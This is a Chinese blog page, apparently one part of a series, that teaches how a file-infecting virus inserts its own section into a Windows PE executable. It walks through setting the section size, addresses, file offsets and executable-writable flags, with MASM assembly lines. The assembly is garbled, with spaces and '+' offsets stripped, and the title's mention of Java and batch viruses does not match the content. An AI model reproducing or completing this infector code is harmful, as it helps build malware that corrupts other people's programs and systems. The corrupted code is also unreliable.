病毒源代码Java_病毒代码_bat病毒代码_java病毒代码(5)

这里填入节的名字sn1(这个域有8个字节哟),并且给VirtualSize(有的地方称作PhysicalSize)我的病毒的大小,这个不需要对齐。说到对齐,大家要清楚一个概念就是内存中的数据节对齐,文件中的数据文件对齐。

movecx,DWORDptr[esi38h]

moveax,DWORDptr[edi-28h0ch]

addeax,DWORDptr[edi-28h8h]

movecx,DWORDptr[esi38h]

invokeAlign1

movDWORDptr[edi0ch],eax

取得节对齐后,给节的VirtualAddress成员即在内存中装入本节时的内存地址赋。方法是取得上一个节的起始地址加上上一节的未对齐的大小即VirtualSize还要经过节对齐,就可以了。

movecx,DWORDptr[esi3ch]

moveax,Virus_End-Virus_Start

invokeAlign1

movDWORDptr[edi10h],eax

现在我们该给节的SizeOfRawData给了。这个域是指节在文件中的大小,必须要经过文件对齐,那好,我们取得病毒大小,文件对齐后就行了

moveax,DWORDptr[edi-28h10h]

addeax,DWORDptr[edi-28h14h]

movDWORDptr[edi14h],eax

还有个节在文件中偏移的叫PointerToRawData,这个的计算方法是上一个节的SizeOfRawData加上上一个节的PointerToRawData。为什么呢?自己动脑壳吧。不动脑壳学会了也没用。

movDWORDptr[edi24h],0E00000E0h

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值